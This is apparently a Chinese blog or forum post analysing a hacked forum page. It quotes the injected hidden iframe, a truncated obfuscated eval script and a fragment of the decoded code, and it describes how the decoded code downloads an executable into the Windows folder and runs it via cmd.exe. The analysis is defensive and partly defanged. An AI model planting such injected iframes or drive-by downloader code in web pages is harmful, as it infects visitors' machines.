打开该论坛中偶常去的版面,瑞星提示有可疑文件下载运行。
用Google搜索,果然Google已经标出来了:
http://www.google.cn/search?complete=1&hl=zh-CN&newwindow=1&q=%E8%BF%98%E7%8F%A0%E5%8C%BA+%E6%97%A7%E9%9B%A8%E6%A5%BC%E6%B8%85%E9%A3%8E%E9%98%81&meta=
检查网页代码,被加入:
/---
<iframe src=hxxp://i**.x***in**8.info/wm.htm width=1 height=1></iframe>
---/
hxxp://i**.x***in**8.info/wm.htm 包含代码:
/---
<script src=0614.js></script>
---/
hxxp://i**.x***in**8.info/0614.js 内容为:
/---
eval("/146/165/156/143/…(略)…/146/75/61/73/175")
---/
经过2次解密,得到原始代码,功能是下载 down.exe,保存到%windir%下,文件名由自定义函数:
/---
function QK45u3(rm4mf){var m0qNW = window[“Math”][“random”]()*rm4mf;return Math[“round”](m0qNW)+‘.exe’;}
---/
即***.exe,其中*为数字,接着通过cmd.exe /c 来运行。
